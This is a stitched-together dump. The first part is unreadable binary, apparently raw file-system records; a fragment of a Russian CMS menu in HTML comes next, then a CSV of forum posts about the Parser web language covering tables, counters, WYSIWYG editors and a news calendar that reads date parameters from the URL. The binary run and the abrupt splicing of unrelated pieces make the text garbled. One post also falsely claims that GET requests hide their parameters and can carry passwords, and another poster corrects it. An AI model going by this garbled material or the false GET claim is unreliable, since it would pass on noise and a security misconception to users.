                                                                                      я°'G “+                h                              GЁ'G   ZЁ'G   Мґ'G   ‰Ї'G           ё*  J\
                ZЃ}F                          ±'G                   0          @             (  (  Ш                 м‰r     S%     ±'G   ±'G   ±'G   8          @           	 	 (  0    ђ@    sx      sx      @AшрџЃ1S% юЃ+±'G   ±'G   ±'G   X          @             (  @    ђ     sx      sx                              @      ў1      ў1      <±'G   +±'G           (     “+   @             (   (                     йЩNЂЊtTтG±'G                   Ё          @             ( @ h @   8      sx      sx     P±y––fВP±y––fВP±y––fВ                    s                  Аґ_\
ЊfВАґ_\
ЊfВ Ђђ–fВ                    s                  b±'G   G±'G   G±'G   ?          @             ( 8 ` 8 Њ   а           DьЩ     глт	~\
ВP±y––fВP±y––fВP±y––fВ                        глт	~\
ВАґ_\
ЊfВАґ_\
ЊfВ Ђђ–fВ @      ў1              {±'G   b±'G   b±'G   ?          @ “+          ( 8 ` 8 Њ   8           HьЩ     глт	~\
ВP±y––fВP±y––fВP±y––fВ                        глт	~\
ВАґ_\
ЊfВАґ_\
ЊfВ Ђђ–fВ @      ў1              ”±'G   {±'G           (          @             (   (                     ЇёBш ЛчЃџ±'G                   0          @             (  (  Ш         ё      o‹r     72     «±'G   џ±'G   џ±'G   X          @             (  @    ђ     sx      sx      @                                              ј±'G   «±'G   «±'G   8     “+   @           	 	 (  0    ђ@    sx      sx     A7ІС  Ѓ @AшрџЃЙ±'G   ј±'G           (          @             (   (                         DyTтФ±'G                   X          @             (  @    ђ     sx      sx      @              3       @                      е±'G   Ф±'G   Ф±'G   ?          @             ( 8 ` 8 Њ   а           DьЩ     глт	~\
ВP±y––fВP±y––fВP±y––fВ @      3              глт	~\
ВP±y––fВP±y––fВP±y––fВ                                      “+RCRD( 	 пі'G     хЂ  Ш      пі'G   ”+  В   В          І'G   е±'G   е±'G   ?          @             ( 8 ` 8 Њ   8           HьЩ     глт	~\
ВP±y––fВP±y––fВP±y––fВ @      3              глт	~\
ВP±y––fВP±y––fВP±y––fВ                        !І'G   І'G           (          @             (   (                     ШxTтЋ*WЂ,І'G                   X          @             (  @    ђ     sx      sx      @      3      3       @              3      =І'G   ,І'G         ”+(          @             (   (                     РЛ•шЉ»?шHІ'G                   0          @             (  (  Ш         ®       zЉr     і     TІ'G   HІ'G   HІ'G   H          @           	 	 ( 	 8 	   ?O    џ     bяЩ     \
«E…            «E… •ЦAш       cІ'G   TІ'G   TІ'G   X          @             (  @    ?     џ     bяЩ            ]њ     ]њ            ]њ     ]њ     tІ'G   cІ'G   cІ'G   ?          @             ( 8 ` 8 Ђ#   ?           cИС     °h‰–f”+Ђ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             °h‰–fВЂ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             ЌІ'G   tІ'G   tІ'G   ?          @             ( 8 ` 8 Ђ#   p           cИС     °h‰–fВЂ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             °h‰–fВЂ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             іІ'G   ЌІ'G           (          @             (   (                     ШИqтЋ*WЂ±І'G                   0          @             (  (  М                O”С          ҐІ'G   ±І'G   ±І'G ”+X          @             (  @                                                   ь     ь    ОІ'G   ҐІ'G   ҐІ'G   (          @              (   (            џ     bяЩ     ЩІ'G   ОІ'G   ОІ'G   ?          @             ( p ?   ь\"   Р           г°С         p Z     Ъ    аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–fВ                        m e n u [ 1 ] . h t m l 1 ] . тІ'G   ЩІ'G   ЩІ'G   ?          @             ( p ?   ь\"   @           г°С         p Z     Ъ   ”+аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–fВ                        M E N U _ 1 ~ 1 . H T M 1 ] . і'G   тІ'G   тІ'G   Р         @              ( ЁР           џ     bяЩ     FILE0  ОІ'G     8  Ё                           `           H      аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–fВ                    r                  0   x          Z     Ъ    аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–fВ                        m e n u [ 1 ] . h t m l       0   x          Z     Ъ    аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–f”+                        M E N U _ 1 ~ 1 . H T M       Ђ                   яяяя‚yGKі'G   і'G           (          @             (   (                     j–в$ $ Vі'G                   @          @             (   (    ?     џ     bяЩ     Ђ                   dі'G   Vі'G   Vі'G   p          @             ( H p     ?     џ     bяЩ     Ђ   H                 яяяяяяяя@                                   ёі?шxі'G   dі'G   dі'G   0          @             (  (  Ш”+        ™      e‹r     j     „і'G   xі'G   xі'G   X          @             (  @    ?     џ     bяЩ                                                     •і'G   „і'G   „і'G   8          @           	 	 (  0    ?@    џ     bяЩ     AjѓМ  Ѓ    ёі?шўі'G   •і'G           (          @             (   (                         Dy^тґі'G                   0          @             (  (  Ш         ё      o‹r     V2     №і'G   ґі'G   ґі'G   X          @             ( ”+@    ?     џ     bяЩ      `                                              Кі'G   №і'G   №і'G   @          @           	 	 ( \
 8    ?F    џ     bяЩ     1м. рџЃ       Ѓ      Ші'G   Кі'G           (          @             (   (                         Dy^тгі'G                   0          @             (  (  Ш         ё      o‹r     Z2     пі'G   гі'G   гі'G   0          @             (  (  Ш         6       Љr     Qo                                           ”+RCRD( 	 Wµ'G     хЂ  ё\
      Lµ'G   •+    В                ґ'G   пі'G   пі'G   X          @             (  @    ?     џ     bяЩ                     `       `                      ґ'G   ґ'G   ґ'G   P          @           	 	 (  @ 	   ?G    џ     bяЩ     м.AыјIя чЃ•ЦAш       м. рџЃ       )ґ'G   ґ'G           (          @             (   (                         Dy^т4ґ'G                   0          @             (  (  Ш         6       Љr     Yo   •+@ґ'G   4ґ'G   4ґ'G   0          @             (  (  Ш         ®       zЉr     Й     Lґ'G   @ґ'G   @ґ'G   X          @             (  @    ?     џ     bяЩ                                           `      ]ґ'G   Lґ'G   Lґ'G   H          @           	 	 (  8    ?L    џ     bяЩ     	ыјIя1xЎ; ш    ыјIя чЃ•ЦAш    lґ'G   ]ґ'G           (          @             (   (                         Dy^тwґ'G                   Ё          @             ( @ h @   8    •+џ     bяЩ     Щ[—–fВЩ[—–fВЩ[—–fВ                    r                  аQZ—–fВаQZ—–fВаQZ—–fВ                    r                  ’ґ'G   wґ'G   wґ'G   ?          @             ( 8 ` 8 ь\"   Р           г°С     аQZ—–fВЩ[—–fВЩ[—–fВЩ[—–fВ       hњ             аQZ—–fВаQZ—–fВаQZ—–fВаQZ—–fВ                        «ґ'G   ’ґ'G   ’ґ'G   ?          @             ( 8 ` 8 ь\"   @           г°С     аQZ—–fВЩ[—–fВЩ[—–fВЩ[—–fВ       hњ             аQZ—–fВаQZ—–fВаQZ—–f•+аQZ—–fВ                        Дґ'G   «ґ'G           (          @             (   (                     Шx^тЋ*WЂПґ'G                   0          @             (  (  Ш         ™      e‹r     A     Ыґ'G   Пґ'G   Пґ'G   0          @             (  (  Ш         ё      o‹r     ЩJ     зґ'G   Ыґ'G   Ыґ'G   0          @             (  (  Ш         ё      o‹r     юJ     уґ'G   зґ'G   зґ'G   0          @             (  (  Ш         ®       zЉr     ©  \
   яґ'G •+уґ'G   уґ'G   ?          @             (   ( p Ђ#   ?           cИС     ~    p Z     б    °h‰–fВЂ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             m e n u [ 2 ] . h t m l [ 1 ] µ'G   яґ'G   яґ'G   ?          @             (   ( p Ђ#               cИС     ~    p Z     б    °h‰–fВЂ	]Ћ–fВЂ	]Ћ–fВЂ	]Ћ–fВ       ]њ             M E N U _ 2 ~ 1 . H T M [ 1 ] 1µ'G   µ'G   µ'G   H          @             (   (           џ     bяЩ     FILE0  cІ'G     8  и    •+@µ'G   1µ'G   1µ'G   0          @             (  (  М                O”С     ~     Lµ'G   @µ'G           (          @             (   (                     ихЁЃяяяяWµ'G                   а*         @             ( ё*а*                         рК•, ш ц       яяяя`*  Њ*  яяяя          mЃ}F       Ђ               яяяя@         ‘Ѓ}F                      яяяяh   Ы\
     !‚}F                      яяяяђ   V     ‡‚}F                      яяяяё   Гя    (ѓ}F                 •+   яяяяа   rУ    !…}F                      яяяя  Vа    ‡…}F                      яяяя0  З\
     н…}F                      яяяяX  ёЦ   ‰ќ[†}F                      яяяяЂ  Щ\
     ‡}F                      яяяяЁ  V     {‡}F                      яяяяР  ія    _?}F                      яяяяш  M     ‰}F                      яяяя   3    o›}F                      яяяяH  Д   ‰ќч›}F                      яяяяp  K     Lњ}F                      яяяя?        .џ}F •+    Ђ               яяяяА  N      џ}F                      яяяяи  _     јє}F                      яяяя  »c    Эі}F                      яяяя8  ОЦ    GЇ}F                      яяяя`  а    #ј}F                      яяяя?  а    —ѕ}F                      яяяя°  Lа   ?ќ\
е}F                      яяяяШ  Zу    ‰	~F                      яяяя   f   ‰ќК	~F                      яяяя(  ‘Л    Ж~F                      яяяяP  4c   ‰ќE~F                      яяяяx•+RCRD( 	 Wµ'G     хЂ                  –+‰ќ                   iх    l~F                      яяяя   ф   ‰ќ†~F                      яяяяИ  	а    ‚&~F                      яяяяр  k    ё(~F                      яяяя  п     )~F                      яяяя@  ЋЦ    ,*~F                      яяяяh  Fа    Ђ,~F                      яяяяђ  }    б/~F                      яяяяё  a    ’5~F                      яяяяа  Еc    Я5~F                      яяяя  Аc   –+46~F                      яяяя0         ї8~F       °               яяяяX  Sа    П8~F                      яяяяЂ  «     µ9~F                      яяяяЁ  	    (=~F                      яяяяР  Dа   ‰ї=~F                      яяяяш  gd    F>~F                      яяяя   †s    (E~F                      яяяяH  \\µ   ђќіE~F                      яяяяp  Nа    G~F                      яяяя?  Yа    ГG~F                      яяяяА  Uа    oH~F                    –+яяяяи  !v    J~F                      яяяя  µ,    #K~F                      яяяя8  „m   ЭЬѓM~F                      яяяя`  х    ;N~F                      яяяя?  »    хO~F                      яяяя°  oщ    зP~F                      яяяяШ  Аг   \
ў-R~F                      яяяя 	  e    «R~F                      яяяя(	  ,Ф   Љќ™T~F                      яяяяP	  a    юT~F                      яяяяx	  eb    ЗX~F                      яяяя 	  Є     !]~F     –+               яяяяИ	  ЬK   ®0Їb~F                      яяяяр	  с>    іc~F                      яяяя\
  w    ]e~F                      яяяя@\
  M    Pf~F                      яяяяh\
  {    Оf~F                      яяяяђ\
      ^h~F                      яяяяё\
  j    ai~F                      яяяяа\
  R    аi~F                      яяяя  іu    оl~F                      яяяя0  ®u    mm~F                      яяяяX  єu    Нn~F                      яяяяЂ  AH–+   p~F                      яяяяЁ  FH    /q~F                      яяяяР  CH    Сq~F                      яяяяш  y   ‰ќt~F                      яяяя   рx   Љќ’t~F                      яяяяH  s    ±v~F                      яяяяp  Nk    0w~F                      яяяя?  Ѓ   ?ќ\"z~F                      яяяяА  џj     z~F                      яяяяи  	ч    {~F                      яяяя\
  ‹     ~~F                      яяяя8\
  ‹   Љќ0‚~F                 –+   яяяя`\
  Ђ    †ѓ~F                      яяяя?\
  )   С»Ь„~F                      яяяя°\
  Мc   ‰ќA…~F                      яяяяШ\
  иb   ‰ќХ‹~F                      яяяя   Гu    Ћ~F                      яяяя(  >з    іђ~F                      яяяяP  S    V‘~F                      яяяяx  эR    Ф‘~F                      яяяя   ј    к’~F                      яяяяИ  Ш   ?ќh“~F                      яяяяр  ц…    ж“~F                      яяяя  їд    l”~F –+                   яяяя@  ]     •~F                      яяяяh  Я7    ђ–~F                      яяяяђ  фL    \
Ж?~F                      яяяяё  ёг    Й›~F                      яяяяа  J'    ањ~F                      яяяя  ~    џ~F                      яяяя0  «s    Є ~F                      яяяяX      (Ў~F                      яяяяЂ  Ёа   ?ќ»і~F                      яяяяЁ  l     ,ґ~F                      яяяяР  нc    ґо~F                      яяяяш–+Wа    /т~F                      яяяя   бc    …іF                      яяяяH  m     MµF                      яяяяp  Щc    ЃІF                      яяяя?  {м    %ѕF                      яяяяА  wм    їF                      яяяяи  “Ц    ГF                      яяяя  qм    ґДF                      яяяя8  !б    ЊТF                      яяяя`  )а    ‚G                      яяяя?  ф   ‰ќќ, G                      яяяя°  /а    …? G             –+RCRD( 	 Wµ'G     хЂ                  —+             G             яяяяШ  іР    %ё G                      яяяя   	’    bҐ G                      яяяя(  Зз   	 z…G                      яяяяP        рВ G                      яяяяx  Дз   ‡’}rG                      яяяя   ѓ’    \"G                      яяяяИ  рЯ   ‹ќFG                      яяяяр  z’    MэG                      яяяя  ’    „х G                      яяяя@  x’   «Єч G                    —+яяяяh  “   eyxщ G                      яяяяђ  ё“    щы G                      яяяяё  °У   ИG                      яяяяа  $’   Њя&1G                      яяяя   Ф   d•8G                      яяяя0  F’    —oG                      яяяяX  ›Ф    vvG                      яяяяЂ  єД   єќ—‘G                      яяяяЁ  [’    ц”G                      яяяяР  °Ф   Љќ;њG                      яяяяш  ъЯ    гG                      яяяя   џ’    Р9G     —+               яяяяH  а    T<G                      яяяяp  AЯ    Љ_G                      яяяя?  №’    obG                      яяяяА  0а   сєeG                      яяяяи  Ж’    ©wG                      яяяя  =а    ‰ЂG                      яяяя8  Р’    ?‡G                      яяяя`  Gа    NђG                      яяяя?  м’   ўёnІG                      яяяя°  gа    A»G                      яяяяШ  „а   Љќ0иG                      яяяя   “—+   жмG                      яяяя(  Ља    тG                      яяяяP  b“    ыvG                      яяяяx  ?    Л~G                      яяяя   k“    ъ…G                      яяяяИ  ю«    ?‹G                      яяяяр  ‚“    nІG                      яяяя  +п    %єG                      яяяя@  ћ“    PдG                      яяяяh  ’    {йG                      яяяяђ  є“   @@FоG                      яяяяё  ™    yуG                 —+   яяяяа  ?    °1G                      яяяя  †      0\\G                      яяяя0  Нз   	 ў‡G                      яяяяX  ®    7ЏG                      яяяяЂ  Ц•    ,ђG                      яяяяЁ  ‚      ?G                      яяяяР  |©   ‹ќхџG                      яяяяш  mм    ёG                      яяяя   Кз    ?ґG                      яяяяH  єК    ЪЕG                      яяяяp  Ъy    iЙG                      яяяя?  …®    аМG —+                   яяяяА  іТ    }вG                      яяяяи  Ѓ®    HdG                      яяяя  хИ    ЫkG                      яяяя8  Ђ      =\
G                      яяяя`  Hа    l,G                      яяяя?  »m    ’3G                      яяяя°  dЦ   Њќ>EG                      яяяяШ  xЦ   –ЇOG                      яяяя   i     SlG                      яяяя(  +б    #mG                      яяяяP  Ѓя    pmG                      яяяяx—+ї    'oG                      яяяя   Ф   ?ќ&qG                      яяяяИ  б    ‚tG                      яяяяр  Љв    EѕG                      яяяя  бЯ    =ЦG                      яяяя@  жЯ    ”ЮG                      яяяяh  лc    ПЯG                      яяяяђ  ѓ®    ±…G                      яяяяё  юc    ®G                      яяяяа  d    N°G                      яяяя  Ьy   яРf$\
G                      яяяя0  Ш•   Ќќґц\
G             —+       яяяяX  Ь•   Ћќµы\
G                      яяяяЂ  Шy   АБАdG                      яяяяЁ  Цy    SѕG                      яяяяР  Ъ    кЯ\
G                      яяяяш  Ь   Ђ|г\
G                      яяяя    Ю    bе\
G                      яяяяH   б    Жй\
G                      яяяяp   Ёy   —ќ=FG                      яяяя?   Ґ+    ЉFG                      яяяяА   F    кGG                      яяяяи   э\
     ВHG                      яяяя!  j     ћI—+RCRD( 	 Сє'G     хЂ  ?      Wµ'G   ?+      I h\
3 I P                            яяяя8!  u     KG                      яяяя`!       ™ G                      яяяя?!  Ъ•    дґG                      яяяя°!  Љ     \
 5№G                      яяяяШ!  Kа      G                      яяяя \"  ѓЦ    РЊG                      яяяя(\"  ‚Ц    тЌG                      яяяяP\"  ‚    йG                      яяяяx\"  Uд    #мG                      яяяя \"  ?Ц   мЕSG     ?+               яяяяИ\"      К&G                      яяяяр\"  рc   ‰ќЄцG                      яяяя#  O     щsG                      яяяя@#  Zа    л]G                      яяяяh#  \\Ю   ЉќgЩG                      яяяяђ#  ёЮ    NЄG                      яяяяё#  ЩЮ    ›ЄG                      яяяяа#  йЮ    иЄG                      яяяя$  шЮ   ЉќіґG                      яяяя0$  ҐЮ    6СG                      яяяяX$  ЛЮ    ѓСG                      яяяяЂ$  ®?+   м/G                      яяяяЁ$  ьх   ?ќе7G                      яяяяР$  ЌУ    И G                      яяяяш$  eЦ    Jv G                      яяяя %  !Ю    Љж G                      яяяяH%  †c    F'\"G                      яяяяp%  ‹c    з'\"G                      яяяя?%  яї    »#G                      яяяяА%  p±   Љќ	#G                      яяяяи%  …Ц    ?‹$G                      яяяя&  аЦ   ЊќЦҐ&G                      яяяя8&  Ф    Ќ'G                 ?+   яяяя`&  вЯ    ёc'G                      Њ*                                                                                      Сє'G   Wµ'G   Wµ'G   x\
         @             ( J\
x\
                         рК•D  $ I 3 0   p  $ I 3 0   њ  $ I 3 0   И  $ I 3 0   ф  $ I 3 0     $ I 3 0   L $ I 3 0   x $ I 3 0   є $ I 3 0   Р $ I 3 0   ь $ I 3 0   ( $ I 3 0   T $ I 3 0   Ђ $ I 3 0   ¬ $ I 3 0    $ I 3 0   0 $ I 3 0   \\ $ I 3 0   ? $ I 3 0   ґ $ I 3 0   а $ ?+3 0    $ I 3 0   8 $ I 3 0   d $ I 3 0   ђ $ I 3 0   ј $ I 3 0   и $ I 3 0    $ I 3 0   @ $ I 3 0   l $ I 3 0   ? $ I 3 0   Д $ I 3 0   р $ I 3 0    $ I 3 0   H $ I 3 0   t $ I 3 0     $ I 3 0   ш $ I 3 0   $ $ I 3 0   P $ I 3 0   | $ I 3 0   Ё $ I 3 0   Ф $ I 3 0     $ I 3 0   , $ I 3 0   X $ I 3 0   „ $ I 3 0   ° $ I 3 0   Ь $ I 3 0   	 $ I 3 0   4	 $ I 3 0   `	 $ I 3 0   Њ	 $ I 3 0   ё	 $ I 3 0   д	 $ I 3 0   \
 $ I 3 0   <\
 $ I 3 0   ?+ $ I 3 0   ”\
 $ I 3 0   А\
 $ I 3 0   м\
 $ I 3 0    $ I 3 0   D $ I 3 0   p $ I 3 0   њ $ I 3 0   И $ I 3 0   ф $ I 3 0     $ I 3 0   L $ I 3 0   x $ I 3 0   є $ I 3 0   Р $ I 3 0   ь $ I 3 0   (\
 $ I 3 0   T\
 $ I 3 0   Ђ\
 $ I 3 0   ¬\
 $ I 3 0   Ш\
 $ I 3 0    $ I 3 0   0 $ I 3 0   \\ $ I 3 0   ? $ I 3 0   ґ $ I 3 0   а $ I 3 0    $ I 3 0   8 $ I 3 0   d $ I 3 0   ђ $ I 3 0   ј $ I 3 0   и $ I 3 0    $ I 3 0   @ $ I 3 0   l $ I 3 0   ? $ I ?+0   Д $ I 3 0   р $ I 3 0    $ I 3 0   H $ I 3 0   t $ I 3 0     $ I 3 0   М $ I 3 0   ш $ I 3 0   $ $ I 3 0   P $ I 3 0   | $ I 3 0   Ё $ I 3 0   Ф $ I 3 0     $ I 3 0   , $ I 3 0   X $ I 3 0   „ $ I 3 0   ° $ I 3 0   Ь $ I 3 0    $ I 3 0   4 $ I 3 0   ` $ I 3 0   Њ $ I 3 0   ё $ I 3 0   д $ I 3 0    $ I 3 0   < $ O   h $ I 3 0   ” $ I 3 0   А $ I 3 0   м $ I 3 0    $ I 3 0   D $ I 3 0   p $ I 3 0   њ $ I 3 0   И $ I 3 0   ф $ ?+3 0     $ I 3 0   L $ I 3 0   x $ I 3 0   є $ I 3 0   Р $ I 3 0   ь $ I 3 0   ( $ I 3 0   T $ I 3 0   Ђ $ I 3 0   ¬ $ I 3 0   Ш $ I 3 0    $ I 3 0   0 $ I 3 0   \\ $ I 3 0   ? $ I 3 0   ґ $ I 3 0   а $ I 3 0    $ I 3 0   8 $ I 3 0   d $ I 3 0   ђ $ I 3 0   ј $ I 3 0   и $ I 3 0    $ I 3 0   @ $ I 3 0   l $ I 3 0   ? $ I 3 0   Д $ I 3 0   р $ I 3 0    $ I 3 0   H $ I 3 0   t $ I 3 0     $ I 3 0   М $ I 3 0   ш $ I 3 0   $ $ I 3 0   ?+tem.html?name=К кому обратится?&ID=2102', '968', 'width=400,height=50')\" class=contrbut type=button value=\"X\"></input>\
<b>] </b><a style=\"font-size:small\" class=submenu onmouseover=\"disp.value='Раскрыть подменю для пункта 1.6.1 (К кому обратится?)'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" href=\"menu.html?ID=2102\"><b>К кому обратится?</b></a>\
</td></tr></table>\
</div>\
<div style=\"PADDING-BOTTOM: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 4px; PADDING-TOP: 0px; TEXT-INDENT: -11px\">\
<table><tr><td valign=middle>\
<img name=\"none\" src=\"img/bullet_menu.gif\">&nbsp&nbsp</td><td>\
<a onmouseover=\"disp.value='Оставить подменю раскрытым на пункте 1.6.2 (Как проехать)'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" href=\"menu.html?ID=2103\" class=menu>1.6.2 </a>\
<b>[</b> <input onmouseover=\"disp.value='Добавить новый подраздел в раздел Как проехать'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" onclick=\"window.open('additem.html?name=Как проехать&ID=2103', 'additem', 'width=500,height=50')\" class=contrbut type=button value=\"+\"></input>\
<input onmouseover=\"disp.value='Сменить названия для раздела"
"7298","Дык хелп весь я прочитал уже и вдоль и поперек и я знаю как создавать таблицы...\
Я не понял как в готовой таблице изменить значения и записать в новую.\
\
$tab_old[^table::load[tab.dat]]\
^tab_new[^table::create{name age\
^tab_old.menu{\
$table_old.name ^eval($table.age+1)   \
}\
}]\
\
вот эта конструкция не работает..."
"7299","вот я счётчик делал.. посмотри.\
[code]\
@counter[]\
^if(!def $cookie:counter){\
	$cookie:counter[\
		$.value[ip]\
		$.expires(1)\
	]\
	$c[^table::load[counter.txt]]\
	# всего\
	$total[^eval($c.total+1)]\
	# сегодня\
	$now[^date::now[]]\
	^if($c.day == $now.day){\
		$today[^eval($c.today+1)]\
		$day[$c.day]\
	}{\
		$day[$now.day]\
		$today[1]\
	}\
	$newc[^table::create{total	today	day\
$total	$today	$day}\
	]\
	^newc.save[counter.txt]	\
	$result[$newc]\
}{\
	$c[^table::load[counter.txt]]\
	$result[$c]\
}\
[/code]"
"7300","Как я понял в последнее время в системах обновления контента все чаше используются встроеные в браузер визуальные редакторы что делает обновление сайта более простым для человека не знающего html. Насколько оправдано использование таких редакторов и можно ли их использовать с парсером?"
"7301","\"НЕ ПАШЕТ\" и \"я не знаю как это сделать\" - разные вещи. IMHO"
"7303","Слушай, ну помоги разобратся... Я уже всю доку переворошил и мне так сразу въехать сложно тем паче после второго парсера..."
"7308","Конечно, можно, поскольку такие редакторы - исключительно клиентское приложение, а Парсер - серверное. Интеграция проблемы не составляет.\
Оправдано, поскольку клиенты, не знакомые с HTML & XML, гораздо охотнее работают с Ворд-интерфейсом.\
\
Ссылка по теме:\
http://www.webmasterbox.com/strumenti/risorse/WYSIWYG-Editor.php"
"7309","Давай я тебе еще подсказок напишу...\
\
Забудь пока о данных, пришедших из формы.\
\
Предположи, что ты хочешь чтобы посетитель увидел в окне броузера текст '^pg1[]'\
\
Как ты напишешь это на парсере? Почитай доку и напиши... Это-же просто!..\
\
А потом возьми и заключи этот написаный код в ^process{}...\
\
А потом вернись к данным, приходящим из формы...\
\
"
"7310","Спасибо за ссылочку. Сейчас пересматриваю разные визуальные редакторы надо сказать процесс довольно трудоемкий Мож кто поделится опытом использования разных редакторов. Какой лучше выбрать?"
"7311","В определении CLASS_PATH прописаны новые пути, от корня веб-сайта до расположения lib.p\
Причём при переносе сайта в другой каталог/диск, но под Win всё работает нормально."
"7312","...именно там, где ты думаешь? Может настройки сервера там не очень корректные?\
\
Попробуй распечатать переменные окружения с помощью какого-нить перлового скрипта и посмотри на них.\
\
Убедись, что auto.p в котором прописывается CLASS_PATH у тебя выполняется и в этой переменной именно то, что ты туда записываешь..."
"7313","И просьба - не надо постить такие куски \"мусора\"...\
Они не являются жизненно важными для понимания сути проблемы, IMHO.\
\
К тому-же т.к. символы с кодами 00-1F не могут быть отображены нормально и xsl трансформ их очень не любит, мне пришлось включить механизм замены символов с такими кодами на символ '.', т.е. тот мусор, что виден в сообщении не совпадает с тем, что публиковал ты..."
"7314","Глянь эту ветку : http://www.parser.ru/forum/?id=1984 ,\
может, пригодится."
"7316","Я этого сделать не могу... Символ ^ все портит и парсер обрабатывает его...чтобы я не делал... я поэкспериментировал с ^taint и ^untaint - но ни фига не получалось..."
"7318","...почитать доку тут: http://parser.ru/docs/lang/stringlit.htm"
"7319","Спасибо за ссылочку но это не подойдет серьезные клиенты требует нечто посерьезней вот например взгляни на ссылочку http://editor.phoundry.com/examples/example3.php я не владею ява поетому сам такое непотяну. Единственный недостаток этой системы что платить за нее надо причем я бы заплатил мне не жалко но только там платить надо при каждом использовании. Может кто-то разработал нечто подобное сам или юзает какую-то из готовых систем хотелось бы услышать мнения."
"7320","Спасибо тебе огромное... Я уже все сделал..."
"7321","наверно мне придеть создать много переменных, а я хотел как-нибудь попроще... Ну всё равно сабж :)"
"7322","Проблема в следующем:\
Есть календарь, практически такой же как и в уроках, но только добавлено перемещение по месяцам.\
Формируем дату для по которой будет строиться календарь:\
[code]\
$now[^date::now[]] \
^if(def  $form:year && $form:month && $form:day){\
$now[^date::create($form:year;$form:month;$form:day;$now.hour;$now.minute;$now.second)]}\
[/code]\
\
где соответственно $form:year, $form:month, $form:day это параметры пришедшие из строки запроса,\
как можно их скрыть??? \
А то ведь есть пользователи шаловливые, которые захотят поменять эти параметры напрямую в адресной строке браузера, а в базе не окажется новостей для такой даты…\
\
Можете  посмотреть как это не до реализовано на [url=\"http://www.toster.ru\"]Тостере[/url].\
\
Введите в адресную строку вот этот адрес [url=”http://www.toster.ru/internet/?year=2000&month=11&day=30] http://www.toster.ru/internet/?year=2000&month=11&day=30[/url] и получите пустую страницу, можно конечно поставить если SQL запрос вернёт пустую таблицу по заданному условию поставить НЕТ НОВОСТЕЙ, но всё таки хотелось бы исключить возможность изменения параметров.\
\
"
"7323","... я так считаю...\
\
скрывать нехорошо, т.к. единственный метод, известный мне - это использовать post, но...\
\
1. посетитель, увиев интересную подборку новостей при каких-то критериях поиска НЕ сможет послать знакомому урл.\
\
2. поисковые машины НЕ проиндексируют эти странички...\
\
И все из-за того, что ты для тех, у кого очень шаловливые ручки будешь красоту наводить. Оно тебе надо? По моему лучше сделать удобнее тем, кто пользуется документированными возможностями :)"
"7324","Спасибо, а то вот я про удобность как то и не подумал…\
На всё равно мне кажется не плохо если можно было бы передавать как форму, которая использует метод GET для отправки.\
\
Мне вот тут идея пришла, ведь когда форма пересылает данные по GET то она ведь пишет данные в какую то переменную окружения, ты не знаешь как в эту переменную запихнуть что либо и извлечь из неё с помощью Parser?  \
"
"7326","...чем отличаются данные, пришедшие через http://site/?a=1&b=1 от того-же, пришедшего после постинга формы методом get?\
\
Данные не пишутся в переменную окружения (ну... разве что в QUERY_STRING, которая с моей точки зрения переменной _окружения_ не является)\
\
Да, может там и устанавливается переменная окружения в качестве флажка, что был get (для поста точно устанавливается, для get-а я даже не задумывался, т.к. считаю, что это не нужно)... но зачем это пытаться использовать?! см. мой месс выше... со ссылкой работать людям будет удобнее!"
"7327","Ты лучше подумай над удобством использования, и над тем, чтобы твой код не падал при запросах вида \
?year=hren&month=1&day=1\
\
:)\
\
А потом приведи получившийся код, я покажу что еще изменить стоит :)))\
\
P.S. см. safe преобразование .int(x), о котором я уже в форуме не раз писАл."
"7328","\
Они отличаются, только тем, что когда форма поститься по GET  то эти параметры пользователь не увидит в  адресной строке браузера. То есть ты можешь передавать пароли, таким образом.\
\
А по поводу переменных, то я  не уточнил, это переменные, в том числе и QUERY_STRING, есть переменные CGI окружения, для подтверждения вот ссылка [ulr=http://hoohoo.ncsa.uiuc.edu/cgi/env.html]сюда[/url] .\
\
А что вот касается использовать или нет, то это другой вопрос, я считаю, что если есть стандарты \
то нужно их придерживаться, понимаешь Parser должен стремится к универсальности.\
Мне кажется, это всегда удобнее пользоваться одним средством разработки…\
Хоть PAF и говорит, что не считает нужным писать, то что уже написано, я конечно его понимаю, но всё таки…\
\
А по поводу подумать обязательно подумаю, только сначала надо ещё тут покапаться… \
 \
"
"7329","Метод Get передает параметры только в строке адреса (его всегда видно), а вот метод POST через переменные окружения. Существует еще несколько методов передачи параметров но они не особо популярны.\
По календарю скажу так я переделал пример навигацию по месецам при помощи метода пост. Возникала проблема передачи параметров средствами <a> наверное есть много решений этой проблемы. Я долго не думал и применил обыкновенную кнопку и стилей."
"7330","Да с терминологией, не то…&#61514;\
\
А если я не хочу, что бы у меня была кнопка, ну или вообще ну просто хочу, я в STDIN  сервера запихать какое-нибудь значение, а потом обработать?\
\
Когда я форму, по POST отправляю, да в адресной строке ничего нет…\
$env:CONTENT_LENGTH возвращает на скажем 38, я понимаю, что моя строка это 38 символов.\
Но как мне её достать?\
\
Можешь расскажешь про менее распрастраннёные методы передачи параметров?\
Да и если не трудно ссылку на твой вариант…\
Спасибо.\
"
"7331","Он даже если ему тройной хрен ввести не падает...:))\
На вёрстку таблицы не смотри, не в этом радость жизни...\
\
[code]\
$now[^date::now[]] \
\
$year(^form:year.int($now.year))\
$month(^form:month.int($now.month))\
$day(^form:day.int($now.day))\
\
$now[^date::create($year;$month;$day;$now.hour;$now.minute;$now.second)]}\
\
\
$prev_year($now.year)\
$next_year($now.year)\
$prev_month(^eval($now.month-1))\
$next_month(^eval($now.month+1))\
^if($now.month==1){$prev_year(^eval($now.year-1))\
$prev_month(12)}\
^if($now.month==12){$next_year(^eval($now.year+1))\
$next_month(1)}\
$days[^date:calendar[rus]($now.year;$now.month)]\
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
    <td bgcolor=\"#FFFFFF\" ><a href=\"/news/?year=$prev_year&month=$prev_month&day=1\"> <<< </a></td>\
